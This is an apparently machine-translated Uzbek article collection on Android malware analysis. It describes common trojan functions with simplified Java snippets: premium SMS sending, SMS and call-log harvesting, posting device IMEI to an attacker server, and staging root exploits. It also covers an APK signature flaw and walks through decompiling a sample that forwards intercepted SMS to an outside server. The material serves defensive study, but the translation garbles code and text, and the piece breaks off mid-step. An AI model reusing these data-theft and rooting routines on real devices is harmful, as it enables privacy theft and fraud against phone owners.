Android uchun zararli dasturlarning tavsifi. Zararli dasturiy ta'minotni tahlil qiluvchi Android dasturlarini ochish, o'zgartirish va qadoqlash

Ba'zi antivirus laboratoriyalarida zararli Android dasturlari to'plamida allaqachon 10 milliondan ortiq namunalar mavjud. Bu raqam tasavvurni hayajonlantiradi, ammo ularning taxminan 9 million 995 mingtasi asl viruslarning nusxalari deb o'zgartirildi. Ammo zararli dasturlarning qolgan bir necha ming namunalarining manba kodini tahlil qilsangiz, ularning barchasi oz sonli noyob funktsional bloklardan (bir nechta o'zgartirilgan va turli xil usullar bilan birlashtirilgan) birlashtirilganligini sezasiz.

Gap shundaki, virmakerlar ko'pincha juda ahamiyatsiz vazifalarni bajaradilar:

  • pulli raqamga matnli xabar yuborish;
  • foydalanuvchining maxfiy ma'lumotlariga egalik qilish ( telefon raqamlari, xabar matnlari, SD-kartadagi ma'lumotlar va boshqalar);
  • yuqtirilgan qurilma haqida ma'lumot to'plash;
  • qurilmadagi administrator huquqlariga egalik qilish (egasining ruxsatisiz dasturlarni o'rnatish yoki qurilmani zararli ravishda o'chirib qo'yish);
  • foydalanuvchi Internet-banking tizimlari saytlariga kiritadigan login, parol va to'lov kartalari ma'lumotlarini kuzatib boradi. Buni qanday qilishadi? Keling, g'amgin mobil vaymakinglar dunyosiga kirib, u erda nima bo'layotganini ko'rishga harakat qilaylik.

SMS yuborish

Kim foydalanadi:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Viruslarning eng keng tarqalgan turi - SMS troyan dasturlari. Ushbu viruslar shunchaki foydalanuvchining roziligisiz premium tariflarga xabar yuboradi. Bunday dasturni yaratish yoki kerakli raqam uchun tayyor dasturni qayta yozish juda oson. Va imtiyozlarni olish jarayoni juda soddalashtirilgan - masalan, bank ma'lumotlarini kuzatishdan farqli o'laroq.

Quyida eng oddiy kod misoli keltirilgan. Bu SMS yuborishning asosiy vazifasi. Yuborish holatini tekshirish, abonentning joylashgan joyiga qarab raqamlarni tanlash va keyin SMSni o'chirish bilan murakkablashishi mumkin.

Maxsus statik SendSms (String DestNumber, String SmsText) (// SmsManager ob'ektining sendTextMessage usulini ishga tushirishga urinish ( standart dastur joriy qurilmadan SMS yuborish uchun) parametrlarning minimal soniga ega: qabul qiluvchining raqami va xabar matni (SmsManager.getDefault (). sendTextMessage (DestNumber, , SmsText, , null); haqiqiy qaytish;))

Virus kodini qaerdan topish mumkin

Aksariyat hollarda telefon ilovalarni o'rnatish orqali yuqtiriladi. Har qanday Android dasturi apk kengaytmali fayl sifatida mavjud bo'lib, u aslida arxiv hisoblanadi. Siz uning tarkibini ko'rishingiz mumkin android-dan foydalanish SDK, APK-dan JAR konverteriga va Java bayt kodi dekompilyatori. Ilovalarni yaratish (APK) quyidagi qismlardan iborat:

  • resources.arsc - resurslar jadvali;
  • res (papka) - haqiqiy resurslar (ikonkalar va boshqalar);
  • META-INF (papka) - quyidagi tarkibdagi fayllarni o'z ichiga oladi: resurslar summasi, dastur sertifikati va APK assambleyasining tavsifi;
  • AndroidManifest.xml - barcha turdagi xizmat ma'lumotlari. Dasturni to'g'ri ishlashi uchun o'rnatishdan oldin so'raydigan ruxsatnomalar, shu jumladan;
  • classes.dex - ehtimol siz buni eshitgansiz Android ishlaydi tizimlar, barcha kodlar oddiy Java bayt kodini tushunmaydigan Dalvik virtual mashinasi (ART uchun 4.4 versiyasidan boshlab) yordamida bajariladi. Shuning uchun, dex kengaytmasiga ega fayllar mavjud. Kerakli va foydali sinflar bilan bir qatorda (dasturning ishlashi uchun mas'ul bo'lgan) zararli dasturlarni (biz ushbu maqolada tahlil qiladigan virus kodi) o'z ichiga oladi.

Matnli faylga foydalanuvchi ma'lumotlarini yozish

Kim foydalanadi:

  • NickySpy;
  • SmsSpy.

Foydalanuvchilarning shaxsiy ma'lumotlarini ovlaydigan viruslar toifasi mavjud. Ularning ta'sir qilish mexanizmi ham sodda. Ular foydalanuvchi fayllarini yaratuvchisining serveriga yuklashadi yoki txtda har qanday ma'lumotni oldindan yig'ishadi (CSV, XML - muhim emas). Kiberjinoyatchilar uchun har qanday turdagi aloqalar, turli xil tezkor xabarchilarning xabarlari, media-fayllar va boshqalar qiziqish uyg'otishi mumkin.

Yuqtirilgan foydalanuvchilarning SMS-xabarlari jo'natuvchilar va qabul qiluvchilarning telefon raqamlari uchun juda muhimdir - ular yordamida ma'lumotlar bazasini spam-xabarlar uchun to'ldirish mumkin. Bunday viruslar kamdan-kam hollarda ma'lum bir shaxslarning qurilmalarini yuqtirish uchun ishlatiladi - keyingi safar qiz do'stingiz sizni unga yozilgan arizani sinab ko'rishga taklif qilsa (ay, karamba! - Ed.) Android-da hushyorligingizni yo'qotmang :).

// arrayOfObject \u003d (Object) localBundle.get ("pdus") qurilmasidagi SMS sonini hisoblash; int j \u003d arrayOfObject.length; // Har bir SMS orqali aylanamiz i \u003d 1 while (rost) (agar (i\u003e \u003d j) tanaffus; // SMS ob'ekti yarating SmsMessage localSmsMessage \u003d SmsMessage.createFrompdu ((bayt) arrayOfObject [i]); // Put String MessageNumber \u003d localSmsMessage.getOriginatingAddress () yuboruvchi raqamini, matnini va SMS yuborish vaqtini mag'lubiyatga o'zgartirish uchun; String MessageText \u003d localSmsMessage.getDisplayMessageBody (); long l \u003d localSmsMessage.getTimestampMillis (); Date localDate \u003d Date () new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss"). format (localDate); // Olingan ma'lumotlardan mag'lubiyat hosil qiling va WriteRec foydalanuvchi usuli yordamida matnli faylga yozing MessageInfo \u003d 7MessageNumber + "#" + MessageText + "#" + MessageTimeDate + ";" WriteRec (paramContext, "sms.txt", MessageInfo); // Keyingi xabarga o'ting i + \u003d 1;) Shuningdek, spam-ro'yxatni abonentning qo'ng'iroqlar tarixidan to'ldirish qulay. Ushbu kodni kiruvchi qo'ng'iroqda ishlatish mumkin: If (parmIntent.getAction (). Equals ("android.intent.action.NEW_OUTGOING_CALL")) (// abonent raqamini String phonenumber \u003d paramIntent.getStringExtra ("android.intent) o'zgaruvchisiga qo'ying. extra.PHONE_NUMBER "); // String PhoneCallRecord \u003d phonenumber +" # "+ getSystemTime () qo'ng'iroq raqami va sanasidan qator hosil qiling; // TextRec () usuli bilan matn fayliga satr qo'shadigan WriteRec () usulini chaqiring. qo'ng'iroqlar tarixi WriteRec (paramContext, "phonecall.txt", PhoneCallRecord);)

Ma'lumot yozilgandan so'ng, u "o'ng qo'llar" ga yo'naltiriladi. Quyidagi kod qo'ng'iroqlar tarixini serverga yuklab oladi:

Shaxsiy bo'sh joy uploadPhonecallHistory () IDException-ni tashlaydi (while (true) (qaytish; // Bizga kerakli fayl mavjudligini tekshiring ((FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) davom etsa; // Ob'ekt yarating - Fayl yuklovchi UploadFiles localUploadFiles \u003d new UploadFiles (); String uploadkeynode \u003d getKeyNode ("uid", "uid_v"); // Faylni localUploadFiles "virus yaratuvchisi" serveriga yuklash uchun.advanceduploadfile usulini ishga tushiring (uning kodi bu erda berilmagan). Advanceduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files / phonecall.txt");))

Ma'lumotlar to'plami

Kim foydalanadi:

  • DroidKungFu;
  • DroidDream;
  • shunga o'xshash zararli dasturlarning aksariyati.

Printsipial jihatdan har qanday virus ishlab chiqaruvchisi uning dasturlari tomonidan yuqtirilgan qurilmalar haqida foydali ma'lumotdir. Uni olish juda oson. Telefon xususiyatlari (ularnikiga) oid ma'lumotlar bilan massiv yaratiladi to'liq ro'yxat Android dasturiy ta'minotining yo'riqnomasida joylashgan bo'lishi mumkin) va POST so'rovi sifatida PHP-skriptiga yuboriladi (til printsipial emas) tajovuzkor serverida, ma'lumotlarni qayta ishlaydi va keyinchalik foydalanish uchun ma'lumotlar bazasiga joylashtiradi.

Private void reportState (int paramInt, string paramString) (// Bir qator yarating va unga xizmat ma'lumotlarini joylashtiring ArrayList UserInformation \u003d new ArrayList (); UserInformation.add (yangi BasicNameValuePair ("imei", this.mImei)); UserInformation.add ( yangi BasicNameValuePair ("taskid", this.mTaskId)); UserInformation.add (yangi BasicNameValuePair ("state", Integer.toString (paramInt))); // Agar funktsiya "paramString (comment)" parametriga ega bo'lsa, uni qatorga qo'ying va uning if (paramStrng! \u003d null) && (! "". teng (paramString)))) UserInformation.add (yangi BasicNameValuePair ("comment", paramString)); // Ma'lumotlarni yig'adigan skript manzili bilan HTTP POST so'rovini yarating HttpPost localHttpPost \u003d new HttpPost ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); sinab ko'ring (// So'rovga ma'lumotlar qatorimizni qo'shing va uni standart HTTP mijozidan foydalanib localHttpPost.setEntity (yangi UrlEncodeFormEntity (UserInformation, "UTF-8")))); yangi DefaultHttpClient (). execute (localHttpPost) .getStatusLine.getStatusCode (); qaytish; ))

Ildiz olish

Kim foydalanadi:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Android qurilmasida sodir bo'lishi mumkin bo'lgan eng asabiylashtiradigan narsalardan biri bu virus bilan ildiz otishdir. Axir, bundan keyin zararli dastur u bilan hamma narsani qilishi mumkin: boshqa viruslarni o'rnating, sozlamalarni o'zgartiring apparat... Ushbu harakat ekspluatatsiyani ketma-ket boshlash orqali amalga oshiriladi:

Maxsus bo'sh joy RootFunc () (ApplicationInfo localApplicationInfo \u003d getApplicationInfo (); / * "ratc" - bu mashhur Rage Against The Cage root ekspluatatsiyasining nusxasi. Kiall - joriy dastur tomonidan boshlangan barcha jarayonlarni to'xtatish. Gjsvro - udev huquqlarini olish uchun ekspluatatsiya (ishlatilgan Uskuna va tarmoq interfeyslari bilan kengaytirilgan ishlash uchun Linux tizimlari) Buning hammasini kerakli joyga nusxalash * / Utils.copyAssets (bu, "ratc", "/ data / data" + localApplicationInfo.packageName + "/ ratc"); Utils .copyAssets (bu, "killall", "/ data / data" + localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (bu, "gjsvro", "/ data / data" + localApplicationInfo.packageName + "/ gjsvro "); // Va buyruq satridan foydalanib Utils.oldrun (" / system / bin / chmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ("/ system / bin / chmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ killall"); Utils.oldrun ("/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/ gjsvro"); yangi MyTread.start (); )

Mobil zararli dastur haqida veb-saytlar

Kasperskiy laboratoriyasi kompaniyasining mutaxassislari blogi Ushbu resursda kompyuter xavfsizligining ko'p jihatlari, jumladan, Android viruslari bo'yicha yuqori sifatli va batafsil maqolalar mavjud. So'nggi yangiliklardan xabardor bo'lib turish uchun ushbu saytga muntazam ravishda tashrif buyurib turish lozim.

Guruh Android dasturlarining kodlari bilan har qanday manipulyatsiya uchun ochiq manba vositasiga bag'ishlangan (DEX / ODEX / APK fayllarini dekompilyatsiya qilish va o'zgartirish) va boshqalar. Androguard shuningdek, viruslar haqidagi maqolalarning keng ma'lumotlar bazasini o'z ichiga oladi. Funktsional imkoniyatlar va himoya usullari haqida qisqacha sharhlardan tashqari, zararli dastur kodining batafsil tahlillari mavjud.


Www.fortiguard.com saytidagi mobil tahdidlar bo'limi Telefon viruslari entsiklopediyasi. Har bir maqola juda ko'p miqdordagi texnik tafsilotlar bilan jihozlangan funksionallikka umumiy nuqtai. Operatsiya xonasiga tahdidlar to'g'risidagi ma'lumotlardan tashqari android tizimlari, Symbian OS, iOS va boshqa platformalar uchun viruslar haqida maqolalar mavjud.


Virusdan himoyalanish

Ba'zi foydalanuvchilar, agar siz faqatgina ilovalarni yuklab olsangiz, deb hisoblashadi Google play va antivirusni smartfoningizga o'rnating, bu 100% xavfsizlikni kafolatlaydi. O'zingizni aldamang: Internetda rasmiy bozorda zararli dasturlarning topilishi to'g'risida muntazam xabarlar mavjud. Va yangi paydo bo'layotgan zararli dasturlarning soni oyiga yuz minglab o'lchov bilan o'lchanadi, bu esa ularga ma'lumotlar bazalariga o'z vaqtida kirishni qiyinlashtiradi. antivirus dasturi... APK fayl kodini telefonga o'rnatmasdan oldin uni qo'lda ko'rish orqali xavfsizlikning haqiqiy kafolati berilishi mumkin. Zararli qismlarni aniqlash uchun sizga kodlash bo'yicha guru bo'lishingiz shart emas. Va bu bilan bizning maqolamiz sizga yordam beradi.

Xulosa

Misollardan ko'rinib turibdiki, mobil simlar texnologik murakkabligi bilan farq qilmaydi. Albatta, ushbu misollar jurnal formatiga mos ravishda soddalashtirilgan - birinchi navbatda, xatolar va istisnolarni boshqaruvchilar etishmayapti, shuningdek ba'zi texnik tafsilotlar, ularning yo'qligi Android zararli dasturlari printsiplarini tushunishingizga to'sqinlik qilmaydi, ammo keraksiz eksperimentlardan himoya qiladi. Biz viruslar yaratilishini qo'llab-quvvatlamaymiz, shunday emasmi? 🙂

Qo'shimcha maydon - bu zaiflik Google androidbu tajovuzkorlarga ushbu operatsion tizim uchun har qanday dasturni o'rnatish paketining tarkibini uning raqamli imzosiga zarar etkazmasdan o'zgartirish imkonini beradi. Ushbu zaiflikdan foydalanib, virus yozuvchilar zararli komponentni qonuniy yoki ishonchli dasturga kiritish orqali troyan dasturlarini tarqatishlari mumkin.

Android uchun Dr.Web antivirus bu zaiflikni bartaraf eta olmaydi, chunki u operatsion tizim darajasida aniqlanadi, ammo u himoyalangan qurilmaga kirib, ishlashga harakat qilganda ham uning yordamida tarqaladigan zararli dasturlarni muvaffaqiyatli aniqlaydi va yo'q qiladi.

Texnik ma'lumotlar

Amaliyot xonasining dasturlarini tarqatish google tizimlari Android .APK fayllari sifatida tarqatiladi, ular dasturning ishlashi uchun zarur bo'lgan barcha komponentlarni o'z ichiga olgan ZIP arxividir. O'rnatish jarayonida ular arxivdan olinadi va ularning summalari maxsus ro'yxat bilan tekshiriladi. Har bir dastur o'zining raqamli imzosiga ega.

Zaiflikdan foydalanish Qo'shimcha maydon, tajovuzkorlar APK arxivining tuzilishini o'zgartirishi mumkin: xizmat maydoniga dastlabki uchta baytsiz dasturning asl tarkibiy qismlaridan birining qiymatini qo'shganda (xususan, classes.dex fayli) va shu vaqtning o'zida ushbu faylning o'zgartirilgan versiyasini joylashtirganda, ikkinchisi operatsion tizim tomonidan qabul qilinadi qonuniy va o'rnatish uchun ruxsat berilgan. Ushbu zaiflikdan foydalanish ehtimoli 65,533 baytdan oshmasligi kerak bo'lgan dex fayl hajmi bilan cheklangan bo'lishiga qaramay, hujumga qiziqqan kiberjinoyatchilar uni bemalol ekspluatatsiya qilishlari mumkin, bunda zararsiz dastur yoki tegishli o'lchamdagi komponentga ega o'yin.

Class.dex fayli APK fayli tarkibidagi dastur kodini o'z ichiga oladi. APK paketi sarlavhasi .dex kengaytmasi bilan fayl nomini saqlaydigan ba'zi joylarni, shuningdek class.dex fayli tarkibini saqlaydigan qo'shimcha maydon deb nomlangan maydonni va dastur tomonidan ishlatiladigan sinflar ro'yxatini o'z ichiga oladi. Agar sarlavha maydoni uch baytga qisqartirilsa, tegishli maydonning uzunlik qiymati o'zgaradi, bu tajovuzkorlarga asl sinflar.dex-ni qo'shimcha maydonga qo'shishga imkon beradi, shuningdek, ushbu faylning zararli nusxasi, uning qismi ham qo'shimcha maydonga joylashtiriladi. O'zgartirilgan maydon zararli funktsiyalarni bajaradigan zararli tarzda yaratilgan sinflarni o'z ichiga olishi mumkin. Ilova o'rnatilgach, operatsion tizim ushbu maydon tarkibini o'qiydi, natijada tajovuzkorlar tomonidan o'zgartirilgan classes.dex fayli hujum qilingan qurilmaga o'rnatiladi.

Siz dasturingiz manbasini yo'qotdingiz va kodni tiklashingiz kerak. Siz virusli dasturni yuklab qo'ydingiz va u nima qilishini bilmoqchisiz.

Android dasturlari arxivlarda tarqatiladi. Ushbu arxivlar ".apk" kengaytmasiga ega. Ushbu fayllar shifrlanmagan va asosan "zip" fayllardir. Buni tekshirish uchun apk faylini zip formatiga o'zgartirishingiz mumkin.

APK faylini chuqurroq o'rganishingiz va ba'zi ma'lumotlarni olishingiz kerak. Siz mushuklarda mashq qilishingiz mumkin. Keling, "Hello Kitty" dasturini olaylik, uning apk-faylini loyiha papkasida toping app \\ build \\ outputs \\ apk va uni tajribalar uchun alohida papkaga ko'chiring.

Arxivni ochish orqali siz dastur tuzilishini ko'rishingiz va tanish fayllarga duch kelishingiz mumkin. Va hatto ko'rish uchun ba'zi fayllarni chiqarib oling. Masalan, papkada res / drawable-hdpi-v4 Men rasmimni topdim pinkhellokitty.png... Bu baxt deb tuyuladi. Lekin kuting, xursand bo'ling. Agar rasmlar bilan bog'liq muammolar bo'lmasa, XML faylini o'qish bummer hisoblanadi. Siz ba'zi satrlarni ko'rishingiz mumkin, ammo umuman matn butunlay o'qilmaydi. Shuning uchun, avval boshqa yo'l bilan boraylik.

Maxsus Android dasturlari java mashinasida ishlagani uchun APK'lar JAR faylining barcha xususiyatlarini egallaydi.

Arxiv tarkibi odatda quyidagicha ko'rinadi:

META-INF katalogida quyidagilar mavjud:

CERT.RSA - ariza sertifikati
CERT.SF - manba fayllari (rasmlar, tovushlar va boshqalar) ning yig'indisi
MANIFEST.MF - apk faylining o'zini tavsiflovchi xizmat ma'lumotlari

Zararli dasturni tahlil qilish

Misol tariqasida dasturni oling shubhali.apk, bu turli xil antiviruslar tomonidan zararli dastur sifatida aniqlanadi.

To'liq nimani izlash kerakligini yaxshiroq tushunish uchun "AndroidManifest.xml" faylini tahlil qilib, tahlil qilingan dastur uchun qanday ruxsat talab qilinishini ko'rish kerak. Ushbu fayl oddiy matnli xml emas, ikkilik. Uni o'qish uchun to'plamdan "aapt" konsol yordam dasturidan foydalanishingiz kerak Android SDK... U "platforma-asboblar" katalogida joylashgan. Grafik interfeysi bo'lmaganligi sababli buyruq konsolga kiritilishi kerak. Masalan, Windows uchun:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ incoming \\ suspicious.apk

Siz, albatta, o'zingizning yo'llaringizni almashtirishingiz kerak. Linuxda buyruq aniq farqlar bilan bir xil bo'ladi (haydovchi harflari va yordam dasturi uchun "exe" kengaytmasi bo'lmaydi). Ko'proq qulaylik uchun chiqishni faylga yo'naltirish mumkin:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ incoming \\ suspicious.apk \u003e\u003e C: \\ incoming \\ manifest.txt

Faylda "Android manifest" bo'limini topishingiz va ruxsatnomalar ro'yxatini qidirishingiz kerak. Tahlil qilingan faylda quyidagicha ko'rinadi:

"android.permission.READ_PHONE_STATE" (Xom: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Xom: "android.permission.INTERNET") "android.permission." (Xom: "android.permission.RECEIVE_SMS")

Ushbu ma'lumotdan dastur telefonning holatini qabul qilishi mumkinligi ayon bo'ladi (bunga, masalan, "qo'ng'iroq rejimida telefon", "ma'lumotlarni qabul qilish rejimida telefon" kiradi). Ushbu ruxsat dastur ishlayotgan telefon raqamini olish, tarmoq bilan ishlash va SMS kelishini nazorat qilish uchun ham kerak. Keyingi tahlillarda aynan shu jihatlarga e'tibor qaratish lozim.

Kodga kirish uchun siz ikki bosqichni bajarishingiz kerak - apk faylini jar faylga aylantirish va natijada olingan bayt kodini odam tushunadigan shaklga dekompilyatsiya qilish.

Dex2jar konvertoridan foydalanamiz:

C: \\ dex2jar \\ dex2jar.bat C: \\ incoming \\ suspicious.apk

O'tkazilgan fayl asl fayl bilan bir xil katalogda joylashgan bo'ladi. ".Dex2jar.jar" uning nomiga qo'shiladi, ya'ni ushbu misol u "shubhali.apk.dex2jar.jar" bo'ladi.

Ushbu faylni dekompilyator yordamida ochish mumkin. Dekompilyator oynasidagi paketlar ierarxiyasi quyidagicha ko'rinadi:


Bu tayyorgarlik bosqichlarini yakunlaydi - keyingi muvaffaqiyat faqat Java haqidagi bilimingiz va qidiruv tizimidan foydalanish qobiliyatiga bog'liq.

Yaxshiyamki, ushbu misol uchun tanlangan namuna juda oddiy o'lchamga ega - oxirgi kavanoz atigi 7,01 KB.

Dasturda oltita dars mavjud. Qizig'i bo'lmagan narsalarni chiqarib tashlaylik. Bu faqat barcha resurslarning identifikatorlarini ro'yxatlaydigan R sinfidir. Shuningdek, siz sinfni ko'rib chiqishdan chiqarib qo'yishingiz mumkin Konfiguratsiyatarkibida konfiguratsiya mavjud.

Qolgan uchta sinfni batafsil ko'rib chiqamiz.

Faollashtirish

Ushbu sinf voqea sodir bo'ladi onCreate (), ya'ni dastur boshlangandan so'ng darhol.

TelephonyManager localTelephonyManager \u003d (TelephonyManager) getSystemService ("telefon"); - yaratadi localTelephonyManagerichiga qurilma haqida ma'lumot joylashtiradi.

str1 \u003d localTelephonyManager.getDeviceId (); - qabul qilingan ma'lumotlardan qurilmaning identifikatsiya raqamini tanlaydi va str1 qatoriga joylashtiradi

Keyinchalik bo'linadigan tsikl keladi DeviceId to'rtta raqamga bo'linib, ular orasiga "-" tire qo'yib, ya'ni XXXXXXXXXXXXXXXX XXXX-XXXX-XXXX-XXXX bo'lib chiqadi. Olingan raqamlar va defislar qatori uzatiladi TextView 2131034112 identifikatori bilan.

SmsReciever

SMS-xabar, voqea kelganida, ushbu sinf ishga tushiriladi onReceive ().

Ushbu sinfning vazifasi kiruvchi SMS-xabarlarni kuzatish va agar aniqlansa, sinfni boshlashdir MainService, uni yangi kiruvchi xabarga ko'rsatgichni uzatish.

MainService

Bu sinf juda katta, shuning uchun uni to'liq bermayman. Qo'ng'iroqdan so'ng darhol "SmsBlockerThread" subklassini ishga tushiradi, u kiruvchi SMS xabarnomasini bloklaydi, shunda foydalanuvchi yangi kiruvchi SMS haqida xabardor bo'lmaydi.

Keyin kiruvchi SMS-lar quyidagicha ishlov beriladi:

String str1 \u003d localSmsMessage.getOriginatingAddress (); - qabul qiluvchining telefon raqami (ya'ni troyan o'rnatilgan telefon raqami) o'zgaruvchiga joylashtirilgan str1.

String str2 \u003d localSmsMessage.getMessageBody (); - xabar tanasi str2 o'zgaruvchisiga joylashtirilgan

Keyin bog'langan juftliklar yaratiladi localBasicNameValuePair1 va localBasicNameValuePair2 unda qadriyatlar joylashtirilgan

F0 \u003d<номер телефона> b0 \u003d<текст сообщения>

Ushbu juftliklar localArrayList qatorida saqlanadi, unga juftlik keyinchalik qo'shiladi localBasicNameValuePair3id \u003d ni ifodalaydi

Bundan tashqari, siz ko'rib turganingizdek, DeviceId sinfda olingan narsadan foydalanish o'rniga, yangidan olinadi Faollashtirish... Chaqirilgan usul bilan tugaydi postRequest () oxirgi sinfdan ServerSession:

Sinab ko'ring (JSONObject localJSONObject \u003d ServerSession.postRequest (yangi UrlEncodeFormEntity (localArrayList)); qaytish;)

Parametr sifatida xuddi shu juftliklar qatori uzatiladi, unda telefon raqami, SMS tarkibi va qurilma identifikatori uzatiladi.

ServerSession

Ushbu sinf ikkita usulga ega: initUrl ()"(http://softthrifty.com/security.jsp)" havolasi qismini qaytaradi:

Public static String initUrl () ("http://softthrifty.com/security.jsp" qaytish;)

va ajoyib usul postRequest ()sinfdan chaqirilgan MainService... Miqdoriga qaramay, vazifa postRequest () oddiy - usul bilan qaytarilgan havola yordamida serverga yuboring initUrl (), yig'ilgan qatordan juftlarni qo'shish orqali ma'lumotlar MainService... Ya'ni, faqat havolaga murojaat qiling:

(http://softthrifty.com/security.jsp?f0\u003d<номер телефона>& b0 \u003d<текст сообщения>& id \u003d )

Natija

Shunday qilib, ushbu troyan SMS-xabarni ushlaydi va serverga so'rov yuboradi, unda u virusli telefon raqamini, SMS tarkibini va yuqtirgan telefonning identifikatorini uzatadi. Ushbu xatti-harakatlar ikki faktorli autentifikatsiyaga hujum qiladigan bank troyanining alomati bo'lishi mumkin. Muvaffaqiyatli hujum uchun quyidagi shartlar bajarilishi kerak:

1) tajovuzkor jabrlanuvchining kompyuteriga yuqishi kerak, bu onlayn-bank uchun ma'lumotni ushlab qolish uchun;
2) tajovuzkor jabrlanuvchining telefoniga yuqtirib, SMS-xabarni bankdan tasdiqlash kodini olib qo'yishi kerak;
3) tajovuzkor ushbu tasdiqlash kodini qaysi onlayn bank ma'lumotlaridan bilish uchun virusli kompyuter foydalanuvchisini va virusli telefonni qandaydir tarzda bog'lashi kerak;

Uning kattaligi va amalga oshirilgan tadbirlarning ravshanligi tufayli bunday namuna Android uchun zararli dasturlarni tahlil qilishning asosiy usullarini namoyish qilish uchun juda mos keladi.

Android uchun zararli dasturlarning tavsifi

Aleksandr Antipov

McAfee-ning birinchi chorakdagi tahdid holati to'g'risidagi hisobotida 6 million noyob zararli dastur namunalari keltirilgan.


McAfee-ning birinchi chorakdagi tahdid holati to'g'risidagi hisobotida 6 million noyob zararli dastur namunalari keltirilgan. Shu ma'noda, 2011 yilning birinchi choragi aniqlangan zararli dasturlarning soni bo'yicha barcha o'tgan yillarning shu davrlariga nisbatan eng samarali bo'ldi. McAfee hisobotida ta'kidlanishicha, Android qurilmalari tobora zararli dastur tashuvchisiga aylanib bormoqda. Mutaxassislarning fikriga ko'ra, Android joriy yilning birinchi choragida kiberjinoyatchilar orasida tajovuz qilish bo'yicha Symbian-dan keyin ikkinchi eng mashhur mobil maqsadga aylandi.

Ushbu maqolada biz sizni dasturiy ta'minotni tahlil qilishning turli bosqichlaridan o'tamiz va shu bilan Android platformasining zaif tomonlari aniq nima ekanligini va tajovuzkorlar ularni qanday ishlatishini tushunishga imkon beramiz. Avvalo, biz Android-ning rivojlanish tarixini muhokama qilishni boshlaymiz va keyin platformalar konfiguratsion paketlari qanday ishlash asoslariga o'tamiz. Shu bilan birga, biz Android-ga mo'ljallangan barcha zararli dasturlarni batafsil tahlil qilamiz.

Android platformasiga kirish

Android bu operatsion tizim uyali telefonlar, kommunikatorlar uchun, planshet kompyuterlar va Linux yadrosiga asoslangan boshqa qurilmalar. Ishlab chiquvchilar Android uchun dasturlarni asosan Java tilida yozadilar, Google tomonidan ishlab chiqilgan Java kutubxonasi yordamida qurilmalarni boshqarishni ta'minlaydilar. Android Java kompilyatori dasturchi fayllar to'plamini sinf fayllariga to'playdi, so'ngra sinf fayllari dex fayllariga aylantiriladi. Ushbu fayllar tanib olish uchun maxsus ishlatiladigan bayt kodiga ega virtual mashina Dalvik - bu Java-ning bayt-kodi (JVM) bayt-kodining ishlash vaqti, bu Android-ning maxsus dasturida ishlaydi. XML fayllari kichik fayllar uchun optimallashtirilgan ikkilik formatga o'tkaziladi. .Dex fayllari, XML ikkiliklari va dasturlarni ishga tushirish uchun zarur bo'lgan boshqa manbalar Android paketli faylga paketlangan. Ushbu fayllar .apk kengaytmasiga ega, ammo standart ZIP fayllari. Apk to'plami tuzilgandan so'ng, u dasturchi tomonidan raqamli imzolanadi va Google veb-sayti orqali Android Market-ga yuklanadi, foydalanuvchi ushbu apk fayllarini yuklab olib, ularni Android qurilmasiga o'rnatishi mumkin. Hozirda markaziy Android dastur do'konida 2 milliondan ortiq yuklab olinadigan dastur mavjud va bundan tashqari, Google Android dasturlarini boshqa uchinchi tomon saytlaridan yuklab olish mumkinligini yodda tuting.

Talablar

  • Apk faylini ochish vositasi - Winzip
  • .Dex fayllarini .jar fayllariga o'tkazish vositasi: .. Dex2jar
  • Grafik Java dekompilyatsiyasi vositasi: JD-GUI
  • Tahlil qilish uchun Android zararli dastur namunalari

Batafsil qadamlar

I qadam:
Zararli dasturiy ta'minotni tahlil qilish jarayonini boshlash uchun avval Android platformasiga mo'ljallangan zararli namunani yuklab olishingiz kerak. Bunday holda, biz iCalendar.apk-ni yuklab olamiz, u Android Market-dan olib tashlangan 11 shubhali dasturlardan biriga aylandi, chunki Gadget Media-da zararli dastur mavjud. VirusTotal so'rov testi quyidagi rasmda ko'rsatilgandek 46,5% aniqlash darajasini ko'rsatdi.


Shakl: bitta

II bosqich:

Winzip yordamida iCalendar.apk faylini chiqarib oling, keyin siz .apk faylining tarkibini ko'rishingiz mumkin

Shakl: 2. .dex va. Ushbu maqolada ilgari muhokama qilingan XML fayllari shakl. 2018-04-02 121 2.

III qadam:

Keyingi qadam "dex2jar" vositasi yordamida kodni bajarishdir. Dex2jar asboblar to'plami Dalvik-ning bajariladigan .dex fayllarini Java .class fayllariga o'zgartiradi. "Classes.dex" - bizning dasturimizdagi fayl dex2jar katalogiga kiradi "va quyidagi buyruq yordamida o'zgartiriladi: dex2jar.bat classes.dex.

Shakl: 3 Bitta katalogda "classes.dex.dex2jar.jar" fayllarini yaratish.

Shakl: 4

IV qadam:

.Class fayllarini ko'rish uchun biz JD-GUI-dan foydalanganmiz. JD-GUI yordamida "Classes.dex.dex2jar.jar" faylini oching.

Shakl: 5: Android ilovalari uchun to'liq manba kodi ko'rsatilgan.

V qadam:
Qabul qilgandan keyin manba kodi dastur, siz haqiqiy manbani tahlil qilishingiz va muammolarni tekshirishingiz mumkin. "SmsReceiver.class" sinf nomidagi fayl biroz g'alati ko'rinadi, chunki bu dastur taqvimidir va bu holda SmsReceiver talab qilinmaydi. "SmsReceiver.class" ning manba kodini qo'shimcha tekshirishda uning tarkibida 1066185829, 1066133 va 106601412004 uchta raqamlari borligi aniqlandi, ular ancha shubhali ko'rinishga ega. Xususan, vaziyat qachon Android qurilmasiga ko'rsatilgan raqamlardan yuborilgan xabarlarni blokirovka qilishga urinishga o'xshaydi ushbu dastur o'rnatildi va ishga tushirildi.

Shakl: 6

Ushbu raqamlarni Google orqali qidirib topgach, bular China Mobile-ga tegishli SMS xizmatining raqamlari ekanligi aniqlandi (7-rasm).

Shakl: 7

Biz ilova nima uchun keyingi bosqichlarda yuqoridagi raqamlardan etkazib berish hisobotlarini to'sib qo'yishga urinayotganini tahlil qilishga harakat qildik.

VI qadam:
